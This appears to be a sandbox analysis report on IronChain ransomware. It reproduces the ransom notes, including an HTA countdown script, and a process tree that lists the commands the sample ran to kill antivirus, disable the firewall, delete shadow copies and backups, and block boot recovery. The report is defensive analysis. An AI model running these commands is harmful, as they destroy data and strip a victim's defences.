Resubmissions
12/11/2026, 12:18
261112-pgnhtavzcv1012/11/2026, 11:54
261112-n2vl7afw2n1031/05/2026, 20:06
260531-yvdefahx4p1031/05/2026, 20:00
260531-yrdwssft2t1031/05/2026, 19:53
260531-yl2qnshv4k10Analysis
- user interaction
yes - max time kernel
105s - max time network
109s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
31/05/2026, 20:00
General
- Target 2026-05-31_d3d03e9f81416cc0c89e519f6747cbf3_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
- Size 11.8MB
- Sample260531-yrdwssft2t
- SHA256 e95f39cae2c98b46f5f4d5e6587047273610ebde44755eae78d3f416200f8d72
Score
10/10
Malware Config
Extracted
Path
-
C:\Users\Admin\Desktop\PLEASEREADTHIS.txt
Ransom Note
- YOUR FILES HAVE BEEN ENCRYPTED BY IRONCHAIN! All your documents, photos, videos and other important files have been encrypted with military-grade encryption. You cannot access them without our decryption tool. To recover your files, you must pay a ransom in Bitcoin. The price is $1000 USD worth of Bitcoin. The price doubles every 24 hours. You have 3 days to pay. Visit the following Tor site for instructions: http://ironchaindecrypt7xfzq5tclm9jzpwq72uofgy2znkdsxm54zbcu2yid.onion DO NOT modify the encrypted files. DO NOT try to use third-party recovery tools. Any attempt to tamper with the encryption may result in permanent data loss. Your unique ID: KA46AORONLY4HFRB Your IP address: 10.127.1.143 We are watching. Pay or lose your data forever.
URLs
-
http://ironchaindecrypt7xfzq5tclm9jzpwq72uofgy2znkdsxm54zbcu2yid.onion
Extracted
Path
-
C:\Users\Admin\Desktop\IronChain.hta
Ransom Note
- IRONCHAIN RANSOMWARE 🔒 PC Username: Admin IP Address: 10.127.1.143 YOUR FILES ARE ENCRYPTED - DO NOT SHUT DOWN Pay before it hits 0 3d 0h 0m 0s Price doubles in 1d 0h 0m 0s Select Language ‼️ YOUR FILES ARE ENCRYPTED ‼️ All your personal files have been encrypted... IRONCHAIN v3.0 - Your data is our business var infectionTime = new Date(1780257697.133681 * 1000); var deadline = new Date(1780516897.133681 * 1000); var username = "Admin"; var ip = "10.127.1.143"; var randomId = "R2GK1URZZ2JY0JHA"; var translations = { en: { title: "IRONCHAIN RANSOMWARE", pc_username: "PC Username: ", ip_address: "IP Address: ", pay_before: "Pay before it hits 0", price_doubles: "Price doubles in", select_language: "Select Language", message_title: "‼️ YOUR FILES ARE ENCRYPTED ‼️", message_content: "All your personal files have been encrypted by IRONCHAIN!\n\nTo recover your files, you must pay a ransom of $1000 in Bitcoin. The price doubles every 24 hours. You have 3 days from infection.\n\nVisit: http://ironchaindecrypt7xfzq5tclm9jzpwq72uofgy2znkdsxm54zbcu2yid.onion\n\nDo not modify encrypted files. Do not attempt recovery yourself. Any tampering will result in permanent data loss.\n\nYour unique ID: {random_id}\n\nWe are watching. Pay or lose everything." }, es: { title: "IRONCHAIN RANSOMWARE", pc_username: "Nombre de usuario: ", ip_address: "Dirección IP: ", pay_before: "Paga antes de que llegue a 0", price_doubles: "Precio se duplica en", select_language: "Seleccionar idioma", message_title: "‼️ TUS ARCHIVOS ESTÁN CIFRADOS ‼️", message_content: "Todos tus archivos personales han sido cifrados por IRONCHAIN!\n\nPara recuperar tus archivos, debes pagar un rescate de $1000 en Bitcoin. El precio se duplica cada 24 horas. Tienes 3 días desde la infección.\n\nVisita: http://ironchaindecrypt7xfzq5tclm9jzpwq72uofgy2znkdsxm54zbcu2yid.onion\n\nNo modifiques los archivos cifrados. No intentes recuperarlos por tu cuenta. Cualquier manipulación resultará en pérdida permanente de datos.\n\nTu ID único: {random_id}\n\nEstamos vigilando. Paga o pierde todo." }, fr: { title: "IRONCHAIN RANÇONGICIEL", pc_username: "Nom d'utilisateur: ", ip_address: "Adresse IP: ", pay_before: "Payez avant qu'il atteigne 0", price_doubles: "Le prix double dans", select_language: "Choisir la langue", message_title: "‼️ VOS FICHIERS SONT CHIFFRÉS ‼️", message_content: "Tous vos fichiers personnels ont été chiffrés par IRONCHAIN!\n\nPour récupérer vos fichiers, vous devez payer une rançon de 1000$ en Bitcoin. Le prix double toutes les 24 heures. Vous avez 3 jours depuis l'infection.\n\nVisitez: http://ironchaindecrypt7xfzq5tclm9jzpwq72uofgy2znkdsxm54zbcu2yid.onion\n\nNe modifiez pas les fichiers chiffrés. N'essayez pas de récupérer vous-même. Toute altération entraînera une perte permanente de données.\n\nVotre ID unique: {random_id}\n\nNous surveillons. Payez ou perdez tout." }, de: { title: "IRONCHAIN RANSOMWARE", pc_username: "Benutzername: ", ip_address: "IP-Adresse: ", pay_before: "Bezahlen bevor es 0 erreicht", price_doubles: "Preis verdoppelt sich in", select_language: "Sprache auswählen", message_title: "‼️ IHRE DATEIEN WURDEN VERSCHLÜSSELT ‼️", message_content: "Alle Ihre persönlichen Dateien wurden von IRONCHAIN verschlüsselt!\n\nUm Ihre Dateien wiederherzustellen, müssen Sie ein Lösegeld von 1000$ in Bitcoin zahlen. Der Preis verdoppelt sich alle 24 Stunden. Sie haben 3 Tage ab der Infektion.\n\nBesuchen Sie: http://ironchaindecrypt7xfzq5tclm9jzpwq72uofgy2znkdsxm54zbcu2yid.onion\n\nVerändern Sie nicht die verschlüsselten Dateien. Versuchen Sie keine eigenständige Wiederherstellung. Jegliche Manipulation führt zu dauerhaftem Datenverlust.\n\nIhre eindeutige ID: {random_id}\n\nWir beobachten. Zahlen Sie oder verlieren Sie alles." } }; var currentLang = 'en'; function updateTimers() { var now = new Date(); var timeLeft = deadline - now; var days = Math.floor(timeLeft / (1000 * 60 * 60 * 24)); var hours = Math.floor((timeLeft % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((timeLeft % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((timeLeft % (1000 * 60)) / 1000); document.getElementById('countdown').innerHTML = days + "d " + hours + "h " + minutes + "m " + seconds + "s"; var nextDouble = new Date(infectionTime.getTime() + (Math.floor((now - infectionTime) / (24*60*60*1000)) + 1) * 24*60*60*1000); var doubleLeft = nextDouble - now; if (doubleLeft < 0) doubleLeft = 0; var dDays = Math.floor(doubleLeft / (1000 * 60 * 60 * 24)); var dHours = Math.floor((doubleLeft % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var dMinutes = Math.floor((doubleLeft % (1000 * 60 * 60)) / (1000 * 60)); var dSeconds = Math.floor((doubleLeft % (1000 * 60)) / 1000); document.getElementById('double-timer').innerHTML = dDays + "d " + dHours + "h " + dMinutes + "m " + dSeconds + "s"; } function changeLanguage() { var select = document.getElementById('langSelect'); currentLang = select.value; var t = translations[currentLang]; document.getElementById('title-bar').innerHTML = t.title; document.getElementById('username-label').innerHTML = t.pc_username + username; document.getElementById('ip-label').innerHTML = t.ip_address + ip; document.getElementById('pay-before-label').innerHTML = t.pay_before; document.getElementById('price-doubles-label').innerHTML = t.price_doubles; document.getElementById('msg-title').innerHTML = t.message_title; var msg = t.message_content.replace('{random_id}', randomId); document.getElementById('msg-content').innerHTML = msg.replace(/\n/g, '<br>'); } window.onload = function() { changeLanguage(); setInterval(updateTimers, 1000); };
URLs
-
http://ironchaindecrypt7xfzq5tclm9jzpwq72uofgy2znkdsxm54zbcu2yid.onion\n\nDo
-
http://ironchaindecrypt7xfzq5tclm9jzpwq72uofgy2znkdsxm54zbcu2yid.onion\n\nNo
-
http://ironchaindecrypt7xfzq5tclm9jzpwq72uofgy2znkdsxm54zbcu2yid.onion\n\nNe
-
http://ironchaindecrypt7xfzq5tclm9jzpwq72uofgy2znkdsxm54zbcu2yid.onion\n\nVerändern
Signatures
- Modifies WinLogon for persistence 2 TTPs 2 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- UAC bypass 3 TTPs 1 IoCs
- Blocks application from running via registry modification 24 IoCs
Adds application to list of disallowed applications.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Possible privilege escalation attempt 64 IoCs
- Disables service(s) 3 TTPs
- Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
- Loads dropped DLL 23 IoCs
- Modifies file permissions 1 TTPs 64 IoCs
- Stops running service(s) 4 TTPs
- Unexpected DNS network traffic destination 20 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Adds Run key to start application 2 TTPs 2 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 2 IoCs
- Launches sc.exe 32 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Kills process with taskkill 23 IoCs
- Modifies registry class 1 IoCs
- Opens file in notepad (likely ransom note) 1 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 4 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 14 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-31_d3d03e9f81416cc0c89e519f6747cbf3_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-31_d3d03e9f81416cc0c89e519f6747cbf3_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-05-31_d3d03e9f81416cc0c89e519f6747cbf3_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-31_d3d03e9f81416cc0c89e519f6747cbf3_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"2⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Blocks application from running via registry modification
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Impair Defenses: Safe Mode Boot
- Loads dropped DLL
- Adds Run key to start application
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\System32\svchost_killer.bat3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im avp.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im ksde.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im kavsvc.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im avpui.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im regedit.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im cmd.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im msconfig.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im procexp.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im procexp64.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im services.msc3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mmc.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SystemSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im control.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im WindowsSecurity.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im powershell.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pwsh.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im taskkill.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im wmic.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im diskpart.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\net.exenet stop AVP /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config AVP start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete AVP3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop KAV /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config KAV start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete KAV3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop BDSS /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config BDSS start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete BDSS3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop Bitdefender /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config Bitdefender start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete Bitdefender3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop "avast! Antivirus" /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config "avast! Antivirus" start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete "avast! Antivirus"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop "avast! Service" /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config "avast! Service" start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete "avast! Service"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop AVG /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config AVG start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete AVG3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop MBAMService /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config MBAMService start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete MBAMService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop DrWeb /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config DrWeb start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete DrWeb3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop wscsvc /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config wscsvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete wscsvc3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config SecurityHealthService start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete SecurityHealthService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config Sense start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete Sense3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config WdNisSvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete WdNisSvc3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config MpKslDrv start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete MpKslDrv3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config NisSrv start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete NisSrv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\2026-05-31_d3d03e9f81416cc0c89e519f6747cbf3_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe\""3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc create IronChainSecurity binPath= "C:\Users\Admin\AppData\Local\Temp\2026-05-31_d3d03e9f81416cc0c89e519f6747cbf3_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" start= auto DisplayName= "IronChain Security Component""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc description IronChainSecurity "Trusted security module""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc start IronChainSecurity"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc failure IronChainSecurity reset= 86400 actions= restart/5000/restart/5000/restart/5000"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc critical IronChainSecurity"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} safeboot minimal"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc stop swprv"3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe C:\Users\Admin\Desktop\IronChain.hta3⤵
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\PLEASEREADTHIS.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI45242\IronChain.py" /reset"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI45242\IronChain.py" /inheritance:d"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI45242\IronChain.py" /remove "Administrators""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI45242\IronChain.py" /remove "Admin""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI45242\IronChain.py" /remove "Authenticated Users""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI45242\IronChain.py" /grant "Users:RX""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI45242\IronChain.py" /inheritance:d"3⤵
-
-
C:\Windows\SYSTEM32\route.exeroute print 0.0.0.03⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true } | Select-Object -ExpandProperty IPAddress"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\AddShow.docx3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ClearShow.sys3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\CompleteCheckpoint.mov3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\CompleteMove.mov3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\CompressRequest.mp33⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ConfirmInitialize.avi3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ConnectFormat.xlsx3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ConnectRead.png3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\DisableConvertTo.aif3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ExitFind.js3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\FindCheckpoint.jpeg3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\GroupConvertTo.xlsx3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\HideConnect.wps3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\InstallApprove.xml3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\LimitDisable.docx3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\desktop.ini3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\AddShow.docx /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ClearShow.sys /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\CompleteCheckpoint.mov /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\CompleteMove.mov /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ConfirmInitialize.avi /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ConnectFormat.xlsx /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ConnectRead.png /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
